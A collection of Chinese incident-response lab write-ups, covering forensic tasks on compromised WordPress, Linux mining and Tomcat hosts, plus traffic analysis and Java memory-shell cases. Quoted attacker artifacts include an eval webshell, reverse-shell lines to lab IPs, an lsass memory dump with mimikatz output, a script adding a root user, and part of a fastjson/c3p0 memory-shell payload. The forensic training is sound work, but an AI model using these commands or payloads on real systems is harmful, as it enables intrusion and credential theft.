flag{Firefox/110.0}
结合开始的日志信息:
flag3:目录扫描工具名(不需要版本号)
flag{*Fuzz Faster U Fool}*
▲ 登录成功之后的日志
可以看到,这小子登录成功之后,先是尝试了一波 wordpress 自定义主题修改模块
用过 wordpress 的应该比较清楚,wordpress 的自定义主题修改模块存在非常多的漏洞。如:命令执行、代码注入、文件上传等
在自定义主题模块,尝试 theme-editor 主题编辑器,修改了一个 post.php 的文件,然后在后面,又调用 x.php 文件执行了 cmd 命令。
所以: post.php 和 x.php 这两个文件,应该是接下来的重点。
而 x.php 的参数为 cmd,也就是说,flag4 中需要的后门文件,应该就是它,上服务器,找到完整路径即可。
它是在 url 中用 get 请求访问的,所以直接在 web 的目录下找就行了。
▲ .x.php 的路径
特喵的 ~ flag4 我提交了 3 次都提示错误,搞得我都要怀疑人生了。
才发现,人家是 .x.php 呀,前面还有个 "点" 呢?怪我眼瞎咯...
flag4:恶意后门文件完整名称
flag{C:\phpstudy_pro\WWW.x.php}
至于 flag5,隐藏在 web 正常应用中的 恶意代码,嚯,这小子刚才在那儿调用 theme-editor 主题编辑器修改 post.php, 想都不用想,肯定在干坏事。
▲ post.php 中的恶意代码
flag5:隐藏在正常web应用代码中的恶意代码,提交该文件名(完整路径)
C:\phpstudy_pro\WWW\usr\themes\default\post.php
最后一只 flag,可疑进程自启动的脚本名称。
总算是上了一丢丢小难度,没办法直接在日志里面找了。
靶场时间还快到了,最后一个 flag 了,害,续费 5 金币吧。
继续,emmm,先看一眼自启动文件夹
▲ Windows 的 Startup 目录
空的,看来不在这儿。
只有一个 C 盘,自启文件能放哪儿去,也没几个目录,点开 Windows,按修改时间排序。
这不,惊喜就来了嘛。
一个诡异的 360.exe,一个熟悉的 x.bat
▲ 疑似自启脚本
打开这个 x.bat 看一下内容,基本没跑了,大概率这个 x.bat 就是自启脚本了。
但目前还没有证据而已。
▲ x.bat 的内容
反正是做题嘛,试着提交一下,又不扣分。
flag6:自启脚本的名字(这个又不要完整路径了...)
flag:{C:\Windows\x.bat}
*flag:{x.bat}*
*果然,蒙对了...*
▲ 搞定,完成挑战
看着这个倒计时就来气... 还有 40 多分钟...
算了,花了钱的.. 接着找找 x.bat 自启动的原理吧。
计划任务、自启任务啥的看了一眼,没什么发现,最终放大招,直接在注册表,发现了这个。
▲ 注册表中的自启任务
根据注册表的路径,可以看出,这是组策略里面的自启任务,于是,上组策略里面确认一下。
第五章 linux实战-挖矿Writeup
一、简介 靶机名:第五章 linux实战-挖矿 靶机账号/密码:root/websecyjxy
二、题目 应急响应工程师在内网服务器发现有台主机 cpu 占用过高,猜测可能是中了挖矿病毒,请溯源分析,提交对应的报告给应急小组。
1、黑客的IP是? flag格式:flag{黑客的ip地址},如:flag{127.0.0.1}
2、黑客攻陷网站的具体时间是? flag格式:flag{年-月-日 时:分:秒},如:flag{2023-12-24 22:23:24}
3、黑客上传webshell的名称及密码是? flag格式:flag{黑客上传的webshell名称-webshell密码},如:flag{webshell.php-pass} 4、黑客提权后设置的后门文件名称是? flag格式:flag{后门文件绝对路径加上名称},如:flag{/etc/passwd}
5、排查出黑客进行挖矿的痕迹,获取最终的Flag。
三、WriteUp
1、在以下文件获取到网站访问日志,分析可得出在进行目录扫描操作,即可获取黑客的IP: /www/admin/websec_80/wwwroot/nginx_access_2023-12-22.log
2、分析日志发现黑客访问了/dede路径,判断dedecms搭建,使用弱口令登录后台, 后台地址:/dede 账号:admin 密码:12345678 在系统用户管理功能发现黑客创建的hacker用户,登录时间即为黑客攻陷网站的时间,
3、将网站源代码打包下载到本地,然后使用D盾进行分析,得到黑客上传的webshell,
webshell是加密的,使用echo即可获取原始php代码,
即可获知webshell名称及密码:
//运行以下php代码:
<?php
echo(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')))
?>
//结果:
eval($_POST['cmd']);
4、查看root用户的历史命令,发现find被赋予了suid权限,黑客可以使用suid提权做后门,
黑客执行以下命令即可从服务权限提升到root权限,即find文件被做了后门, find / -exec 任意命令 {} \;
5、挖矿木马一般以计划任务方式下载执行,查看root用户的计划任务,
常规命令无法查询,可以获取/etc/crontab文件内容查看所有的计划任务,分析得出黑客通过curl命令访问三个外部的恶意URL,之后再使用wget命令来下载其可执行文件ldm,
可知挖矿木马的名称为ldm,查找挖矿木马在本机上的位置,
下载到本地进行分析,均为挖矿木马的功能函数代码,逐行进行分析,
在691行的一段python代码比较可疑,进行base64解码,
nohup python2 -c "import base64;exec(base64.b64decode('aW1wb3J0IHRpbWUKd2hpbGUgMToKICAgIHByaW50KCJmbGFne3dlYnNlY19UcnVlQDg4OCF9IikKICAgIHRpbWUuc2xlZXAoMTAwMCk='))" >/dev/null 2>&1
即可获得最终的flag,解码内容如下:
import time
while 1:
print("flag{websec_True@888!}")
time.sleep(1000)
四、flag 1、黑客的IP是? flag{192.168.10.135}
2、黑客攻陷网站的具体时间是? flag{2023-12-22 19:08:34}
3、黑客上传webshell的名称及密码是? flag{404.php-cmd}
4、黑客提权后设置的后门文件名称是? flag{/usr/bin/find}
5、排查出黑客进行挖矿的痕迹,获取最终的Flag。 flag{websec_True@888!}
第五章 linux实战-挖矿 二
1.找出被黑客修改的系统别名,并将倒数第二个别名作为Flag值提交; 直接输入alias命令查看当前所有的别名
答案:flag{userdel}
找出系统中被植入的后门用户删除掉,并将后门用户的账号作为Flag值提交(多个用户名之间以英文逗号分割,如:admin,root); 直接查看etc/passwd文件,查看所有的账户
答案:flag{sclipicibosu}
找出黑客在admin用户家目录中添加的ssh后门,将后门的写入时间作为Flag值(提交的时间格式为:2022-01-12 08:08:18)
直接进入/home/admin目录,然后执行ls -al即可看到.ssh目录,通常是存放当前用户ssh 私钥的目录,然后执行stat authorized_keys
答案: flag{2022-09-14 15:04:47}
找出黑客篡改过的环境变量文件,将文件的md5值作为Flag值提交;
进入root用户的家目录cd ~ 然后查看当前目录下的环境变量文件.bashrc,
然后执行
-bash-4.2# md5sum .bashrc
d847ea4b317c880c3854418503d11470 .bashrc
答案:flag{d847ea4b317c880c3854418503d11470}
找出黑客修改了bin目录下的某个文件,将该文件的格式作为Flag值提交
执行命令ls -lt /usr/bin | head -n 10 查看/usr/bin最近改动的前十个文件
注意时间,这个文件是黑客攻击之后改动的一个文件,所有大概率是这个文件了,对不对尝试提交一下就知道了
-bash-4.2# file /usr/bin/sshd
/usr/bin/sshd: ASCII text
-bash-4.2#
答案:flag{ASCII text}
** 找出黑客植入系统中的挖矿病毒,将矿池的钱包地址作为Flag值(提交格式为:0xa1d1fadd4fa30987b7fe4f8721b022f4b4ffc9f8)提交**
在/home/admin目录下有一个奇怪的文件,cat一下就能可能答案了
答案: flag{0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8}
第五章 linux实战-CMS01
题解
登录虚拟机:
修改面板密码
提交攻击者IP
答案:192.168.20.1
查看宝塔日志即可
用的net直接是网关
提交攻击者修改的管理员密码(明文)
答案:Network@2020
查看数据库表(x2_user)
发现passwod加密在代码中寻找加密逻辑并进行逆推
提交第一次Webshell的连接URL
答案:index.php?user-app-register
登录后台后发现木马写在了注册协议,注册协议的路由为user-app-register
提交Webshell连接密码
答案:Network2020
提交数据包的flag1
答案:flag1{Network@_2020_Hack}
下载root下的数据包
追流可以发现flag1
提交攻击者使用的后续上传的木马文件名称
答案:version2.php
经典的冰蝎Webshell特征
提交攻击者隐藏的flag2
答案:flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}
在/www/wwwroot/127.0.0.1/.api/alinotify.php
提交攻击者隐藏的flag3
答案:flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
第五章 Windows 实战-evtx 文件分析
1.将黑客成功登录系统所使用的IP地址作为Flag值提交;
筛选安全日志4624,登录成功,找最早登录的
flag{192.168.36.133}
2.黑客成功登录系统后修改了登录用户的用户名,将修改后的用户名作为Flag值提交;
筛选安全日志4781,账户名称已更改
旧账户名:Administrator 新账户名:Administratro
flag{Adnimistartro}
3.黑客成功登录系统后成功访问了一个关键位置的文件,将该文件名称(文件名称不包含后缀)作为Flag值提交; 筛选安全日志4663,尝试访问对象检测未经授权访问文件和文件夹的行为
flag{SCHEMA}
4.黑客成功登录系统后重启过几次数据库服务,将最后一次重启数据库服务后数据库服务的进程ID号作为Flag值提交; 根据上述黑客攻击的时间段,为2020年10月8日 筛选应用程序日志记录时间为2020年10月8日,来事件源为MySQL
CTRL+F 搜索start,定位到最后一次启动数据库,进程为8820
flag{8820}
5.黑客成功登录系统后修改了登录用户的用户名并对系统执行了多次重启操作,将黑客使用修改后的用户重启系统的次数作为Flag值提交。
筛选系统日志1074,计算机开机、关机、重启的时间、原因、注释
计算机为WIN-B1B1T3K57G9
CTRL+F 搜索Administratro,找对成对的记录,2次重启,1次关机
flag{3}
参考:windows安全事件查看及安全事件id汇总 https://blog.csdn.net/qq_45825991/article/details/115577680
第五章 linux实战-黑链
找到黑链添加在哪个文件 flag 格式 flag{xxx.xxx}
访问首页
搜索"黑链"
flag{/var/www/html/usr/themes/default/header.php}
webshell的绝对路径 flag{xxxx/xxx/xxx/xxx/}
D盾扫一下
flag{/var/www/html/usr/themes/default/404.php}
黑客注入黑链文件的 md5 md5sum file flag{md5}
感觉更准确应该是注入Webshell的文件
flag{10c18029294fdec7b6ddab76d9367c14}
攻击入口是哪里?url请求路径,最后面加/ flag{/xxxx.xxx/xxxx/x/}
发现写入Webshell的是js文件,可能存在XSS漏洞。搜索一下 找到这个 https://blog.mo60.cn/index.php/archives/Typecho-1-2-xss2rce.html 环境给了流量包 output.pcap 搜索发现 /index.php/archives/1/ 嵌入了poc1.js
flag{/index.php/archives/1/}
第六章 蚁剑流量分析
- 蚁剑连接密码
- 黑客执行的第一个命令是什么 因为找的是第一个命令,所以从第一个流中查看 url解码后,根据蚁剑的特性,传参的第三位开始才是真正的参数,将其复制base64解码
- 读取了哪个文件内容 在第三个流中看到linux的账号信息,同样的操作,url解码,base64解码获取到原始命令(这里也是很显然这就是读取的文件内容,这个内容是/etc/passwd的)
- 黑客上传了什么文件到服务器
- 文件内容是什么
- 在第四个流中发现服务器返回一个莫名其妙的东西,根据蚁剑特性很可能就是文件上传成功,重复之前的操作,url解码
- 蚁剑上传文件,它的文件内容会被16进制编码,第一个和第二个参数分别进行解码
- 下载的文件名是什么 在第六个流中发现了文件内容 url解码后发现存在尝试打开文件读取的操作
- base64解码找到下载文件
第六章 流量特征分析-蚂蚁爱上树
前言:题目可知攻击者对服务器进行了权限提升、权限维持的工作,所有我们要复原出所有的攻击流量。 下面我 列出了攻击者的所有行为,具体如何解包不详细展开。
- C:/phpStudy/PHPTutorial/WWW/onlineshop/database/onlineshop.sql
- C:/
- cd /d "C:/phpStudy/PHPTutorial/WWW/onlineshop"&ls&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&whoami&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&whoami /priv&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&systeminfo&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:\temp&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net user&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net localgroup administrators&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net group "domain group" /domain&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net group "domain admins" /domain&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net view&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net share&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\Temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:\temp&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&ls&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"© store.php c:\temp&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:\temp&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&powershell -ep bypass Set-Mppreference -DisableRaltimeMonitoring $true&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&powershell -ep bypass Set-Mppreference -DisableRealtimeMonitoring $true&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&powershell -ep bypass Get-MpComputerStatus&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:\temp&echo [S]&cd&echo [E]
- C:/phpStudy/
- C:/Temp/
- C:/Temp/OnlineShopBack.zip
- C:/Windows/
- C:/Windows/Temp/
- cd /d "C:/phpStudy/PHPTutorial/WWW/onlineshop"&dir c:\windows\system32&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:\windows\config&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net user&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net user admin Password1 /add&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net localgroup administrators admin /add&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net user&echo [S]&cd&echo [E
1.由以上36条命令可以知晓,第一题 admin 的密码为 Password1
2.由以上26 条命令可以知晓,第二题 lassa.exe 的进程 id 为852,这里用到了使用rundll32直接执行comsvcs.dll的导出函数MiniDump来Dump进程内存
3.通过流量报文分析,发现转储出了 OnlineShopBackup.zip 文件,该文件存在在了 30 条命令中,我们对其进行导出,使用二进制文件打开发现其为.dmp 文件但无法正常打开,对比常规dmp 文件发现文件头多了e1c1709 这几个字符,删除后文件恢复正常。
4.使用 mimikatz加载 dmp文件:
sekurlsa::minidump C:\Desktop\mimikatz_trunk\Win32\test.dmp
5.获取密文:
sekurlsa::logonpasswords
msv :
[00000003] Primary
* Username : win101
* Domain : VULNTARGET
* NTLM : 282d975e35846022476068ab5a3d72df
* SHA1 : bc9ecca8d006d8152bd51db558221a0540c9d604
* DPAPI : 8d6103509e746ac0ed9641f7c21d7cf7
tspkg :
wdigest :
* Username : win101
* Domain : VULNTARGET
* Password : (null)
kerberos :
* Username : win101
* Domain : VULNTARGET.COM
* Password : (null)
ssp :
credman :
cloudap :
6.进行密码碰撞,使用 hashcat 或者在线破解NTLM即可,最终 win101的密码 为 admin#123.
第六章 流量特征分析-waf 上的截段
1、http contains"/admin/login"&&http.request.method==POST 拉到最后找到俩: ip 233的是:hr123456 ,ip 59的是admin!@#pass123 很明显攻击看流量攻击者是ip为59的用户 admin!@#pass123,记住对应数据包:733517
2、data-text-lines contains "flag";这个题出的就是为做题,没啥意义 能找到不少含有flag的网页,只看733517数据包后面的流量 flag:87b7cb79481f317bde90c116cf36084b
3、data-text-lines contains "database" ,有点偷懒了,实战中还是要了解攻击过程进行木马a.php后门账户等清除滴 既然是数据库密码,就搜数据库相关就可以了,开发一般的命名习惯都这样,dbname、dbhost也行 找找就有了:$dbpass = "e667jUPvJjXHvEUv"
第六章-哥斯拉4.0流量分析
1、黑客的IP是什么?
wireshark分析 条件设置 http.request , 扫描、漏洞利用行为明显的就是了
flag{---}
2、黑客是通过什么漏洞进入服务器的?(提交CVE编号)
wireshark分析发现是通过 tomcat manager PUT上传的,搜索一下相关CVE的是 Apache Tomcat Remote Code Execution via JSP upload (CVE-2017-12615 / CVE-2017-12617)
flag{---}
3、黑客上传的木马文件名是什么?(提交文件名)
wireshark分析 比较明显
flag{---}
4、黑客上传的木马连接密码是什么?
题目已提示了哥斯拉4.0,找对应文章学习一下就好,抓包里参数名字本身也没有混淆
flag{---}
5、黑客上传的木马解密密钥是什么?
同4
flag{---}
6、黑客连接webshell后执行的第一条命令是什么?
根据哥斯拉4.0的特征组装一下流程
请求解密
URL_Decode()
From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'UTF8','string':'1710acba6220f62b'},{'option':'Hex','string':''},'ECB','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
Gunzip()
响应体解密
Find_/_Replace({'option':'Simple string','string':'B333AF03A314E0FB'},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'0F00BC7E2672E1F5'},'',true,false,true,false)
From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'UTF8','string':'1710acba6220f62b'},{'option':'Hex','string':''},'ECB','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
Gunzip()
flag{---}
部分命令应是shell自行拼接的,写分号后面的
7、黑客连接webshell时查询当前shell的权限是什么?
flag{---}
8、黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?
关注响应体
flag{---}
9、黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)
flag{dpkg -l libpam-modules:amd64}
10、黑客留下后门的反连的IP和PORT是什么?(IP:PORT)
哥斯拉的命令执行里面翻到的,base64编码的反连
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d
flag{---}
11、黑客通过什么文件留下了后门?
通过哥斯拉上传了文件,并且上机分析,通过history命令可以查到替换了pam_unix.so
flag{---}
12、黑客设置的后门密码是什么?
上机分析
pam_unix="evil.so" start="(strings "{pam_unix}" | grep "bad username [%s]" -A 1 | tail -n 1)" end="(strings "{pam_unix}" | grep "auth could not identify password for" -B 1 | head -n 1)"
参考:https://gist.github.com/bcoles/b66c0116daa1d1d2623e0d2a2795304f
flag{---}
13、黑客的恶意dnslog服务器地址是什么?
wireshark分析,不要忘记把最后的.加上
flag{---}
第六章 流量特征分析-小王公司收到钓鱼邮件
第一题
直接寻找http流量 或者直接Ctrl+F搜索w0ks 找到请求条目后查看相应的response magic code 有PK的就是下载的resp
第二题
将resp请求包的Data段右键,导出分组字节流,保存为zip即可 然后对zip进行md5校验certutil -hashfile <文件拖进来> MD5
第三题
问下载的域名,分析js脚本 先将脚本内的所有注释去掉:/\*.+?\*/替换为空掉就行 然后将最下面的东西去掉,然后对脚本进行分析,他是将所有字符串分割后组装来逃避waf的 所以我们直接搜索字符串+= ':';即可,可以快速找到拼接url的地方,然后将这段代码放在浏览器里执行就可以快速拿到下载地址了
题目答案
- flag{tsdandassociates.co.sz/w0ks//?YO=1702920835}
- flag{f17dc5b1c30c512137e62993d1df9b2f}
- flag{shakyastatuestrade.com}
第六章 流量特征分析-常见攻击事件 tomcat
1、在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}
过滤Http 随便翻翻都可以发现是攻击者ip
flag{14.0.0.120}
2、找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}
https://chaipip.com/aiwen.html
flag{guangzhou}
3、哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222}
过滤manage
flag{8080}
4、经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称}
过滤http后 可以看到下面很多404的
404肯定是用工具进行爆破失败的。直接追踪流 看指纹
flag{gobuster}
5、攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码? flag格式:flag{root-123}
看流量可以发现对 manager进行了爆破
直接看返回200的上一个 分组20553这一个
追踪流 看请求包 翻下面会发现有一个Authorization字段
解密
flag{admin-tomcat}
6、攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt}
之前在翻流的时候就发现有反弹shell的相关消息
我们往前追踪
可以发现上一个流上传了一个war包
有经验的人肯定能大概才出来这个就是马
我们直接将其导出来看看
用原始数据查看
war包与zip一样 文件头是 50 4b 03 04 文件尾 50 4B 05 06
找到文件头尾复制下来
然后16进制转字符保存下来
暂时无法在飞书文档外展示此内容
用压缩包打开可以发现有一个jsp文件
暂时无法在飞书文档外展示此内容
Gpt分析一下
flag{JXQOZY.war}
7、攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息
在9461流里面可以发现将反弹shell的命令写进了定时任务
flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}
第七章 常见攻击事件分析--钓鱼邮件
一、请分析获取黑客发送钓鱼邮件时使用的IP
在钓鱼邮件的eml文件中搜索from,最后一个from就是黑客发送钓鱼邮件时使用的IP地址:121.204.224.15。
flag{121.204.224.15}
二、请分析获取黑客钓鱼邮件中使用的木马程序的控制端IP
通过Content-Transfer-Encoding: base64得知邮件正文使用的是base64编码。
将邮件正文保存到txt文件中,使用命令cat 邮件正文.txt | base64 -d解码,获得邮件正文内容,得知压缩包到解压密码是:2021@123456。
将邮件附件保存到txt文件中,使用命令cat 钓鱼附件.txt | base64 -d | less解码并查看,从文件开头的PK得知邮件附件是zip压缩包,因为PK是发明zip压缩格式的作者姓名缩写。
使用命令cat 钓鱼附件.txt | base64 -d > 钓鱼附件.zip解码并保存到zip文件中,并用密码解压,最终获得程序:终端自查工具.exe。
将程序上传到上文件沙箱中分析,获得木马程序的控制端IP:107.16.111.57。
flag{107.16.111.57}
三、黑客在被控服务器上创建了webshell,请分析获取webshell的文件名
使用D盾分析/var/www/html/中的文件,发现webshell的文件名:/var/www/html/admin/ebak/ReData.php。
flag{/var/www/html/admin/ebak/ReData.php}
四、黑客在被控服务器上创建了内网代理隐蔽通信隧道,请分析获取该隧道程序的文件名
在/var/tmp/proc/my.conf中发现疑似隧道代理的配置。
使用命令./mysql -h查看/var/tmp/proc/mysql程序的帮助信息,确认该程序是隧道程序。
flag{/var/tmp/proc/mysql}
第八章 内存马分析-java01-nacos
1、nacos 用户密码的密文值作为 flag 提交 flag {密文}在 conf/nacos-mysql.sql 文件中找到密码
flag{$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu}
2、shiro 的 key 为多少 shiro 的 key 请记录下来
flag{KduO0i+zUIMcNNJnsZwU9Q==}
3、靶机内核版本为
uname -r
flag{5.4.0-164-generic}
4、尝试应急分析,运行 get_flag 然后尝试 check_flag 通过后提交 flag
cat /etc/passwd
发现 bt 为最高权限用户,进行删除
userdel b
此用户正在运行一些服务,无法删除。直接修改 /etc/passwd 文件进行删除
5、尝试修复 nacos 并且自行用 poc 测试是否成功8848 端口运行 nacos 服务
扫描出几个漏洞进行逐一修复第一个未授权
http://68.79.11.194:8848/nacos/v1/auth/users?pageNo=1&pageSize=9
在 conf/application.properties 开启鉴权
1 2 3 4 | nacos.core.auth.enabled=true nacos.core.auth.enable.userAgentAuthWhite=false nacos.core.auth.server.identity.key=key nacos.core.auth.server.identity.value=value |
---|---|
第八章 - 内存马分析 - Java02-Shiro
利用上一题获取的 shiro key 攻击后进行应急
1、将 shiro 的 key 作为 flag 提交
flag{KduO0i+zUIMcNNJnsZwU9Q==}
2、隐藏用户后删除,并将隐藏用户名作为 flag 提交8088 运行着 Shiro 服务cat /etc/passwd
flag{guest}
3、分析 app.jar 文件是否存在后门,并把后门路由名称作为 flag 提交添加一个用户利用 ssh 进行连接
#!/bin/bash echo "system:adk6oNRwypFwA:0:0:eval_to_root:/root:/bin/bash" >> /etc/passwd && echo "PermitRootLogin yes" >> /etc/ssh/sshd_config && /etc/init.d/ssh restart
echo IyEvYmluL2Jhc2gKCmVjaG8gInN5c3RlbTphZGs2b05Sd3lwRndBOjA6MDpldmFsX3RvX3Jvb3Q6L3Jvb3Q6L2Jpbi9iYXNoIiA+PiAvZXRjL3Bhc3N3ZCAmJiBlY2hvICJQZXJtaXRSb290TG9naW4geWVzIiA+PiAvZXRjL3NzaC9zc2hkX2NvbmZpZyAmJiAvZXRjL2luaXQuZC9zc2ggcmVzdGFydA==|base64 -d > /tmp/ssh.sh`
连接 `ssh system/admin123
下载app.jar文件
使用java反编译软件 jadx 进行反编译
发现这里有漏洞(后门),有一个路由 /exec 接受一个参数 cmd 的传值
if (cmd != null) { if (System.getProperty("os.name").toLowerCase().contains("win")) { p = new ProcessBuilder("cmd.exe", "/c", cmd); } else { p = new ProcessBuilder("/bin/sh", "-c", cmd); }
获取操作系统名称并将其转换为小写,检查其是否包含 "win" 字符串。如果操作系统是 Windows,则执行 cmd.exe 命令和/c 参数创建一个新的 ProcessBuilder 对象。/c 参数用于告诉 cmd.exe 执行指定的命令并立即终止。如果操作系统不是 Windows,则执行 Unix/Linux shell 命令。使用 /bin/sh 和 -c 参数创建一个新的 ProcessBuilder 对象。-c 参数用于告诉 shell 执行指定的命令。这样会导致任意命令执行,攻击者可以通过 cmd 参数执行任意系统命令
flag{/exec}`
4、分析 app.jar 文件,将后门的密码作为 flag 提交`flag{cmd}
第八章 内存马分析-java03-fastjson
fastjson结合c3p0不出网利用打入内存马
1、端口扫描发现8088端口开放,存在web页面。
2、web页面存在一个登录框,请求中去掉一个},发生报错,但未回显fastjson相关字符,推测可能对错误页进行了简单修改。
3、直接探测fastjson版本,依旧没探测到发fastjson相关字段。
4、uniqude编码后再试试,成功回显fastjson版本,可能原因是代码中加了一层waf,过滤了一些如@type字段。
5、Fastjson1.2.47版本以下存在mappings缓存通杀绕过,利用的方式为JNDI,但不要忘了JNDI的利用是有一定条件的:
- 非严格意义的出网,比如这里我们控制了外网主机,可以使用该主机作为server端提供ldap或rmi
- 受到JDK版本限制,JDK8u191后受到trusturlcodebase限制远程加载,但也有绕过方法。这里因为机器内JDK版本较高,JNDI注入并不太合适,所以需要找其他利用链。
6、因此下一步探测存在的依赖。利用Character转换报错可以判断存在何种依赖,当存在该类时会报出类型转换错误,否则无显示,同样的,这里@type也需要编码。因此,通过这种方法结合已知的FastJson利用链所需要的依赖类,最终探测服务中存在C3P0依赖。
7、FastJson本身结合C3P0有很多利用方式,其中提的最多的是不出网利用,hex base二次反序列化打内存马。在c3p0+FastJson利用其他文章中介绍的是需要依赖像cc链这样的反序列化链,但其实是不需要的,因为FastJson全版本都存在原生反序列化漏洞,且是通过TemplatesImpl加载类,更加适合。先找一个冰蝎内存马:Tomcat的Filter型内存马,但因为是TemplatesImpl这条链加载字节码,所以需要extends AbstractTranslet并重写两个方法,否则加载不了这个类。编译为IceShell.class:
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Base64;import java.util.HashMap;import java.util.Map;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.servlet.DispatcherType;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.HttpSession;import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;import sun.misc.BASE64Decoder; public class IceShell extends AbstractTranslet implements Filter { private final String pa = "3ad2fddfe8bad8e6"; public IceShell() { } public void init(FilterConfig filterConfig) throws ServletException { } public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest)servletRequest; HttpServletResponse response = (HttpServletResponse)servletResponse; HttpSession session = request.getSession(); Map<String, Object> pageContext = new HashMap(); pageContext.put("session", session); pageContext.put("request", request); pageContext.put("response", response); ClassLoader cl = Thread.currentThread().getContextClassLoader(); if (request.getMethod().equals("POST")) { Class Lclass; if (cl.getClass().getSuperclass().getName().equals("java.lang.ClassLoader")) { Lclass = cl.getClass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); } else if (cl.getClass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { Lclass = cl.getClass().getSuperclass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { Lclass = 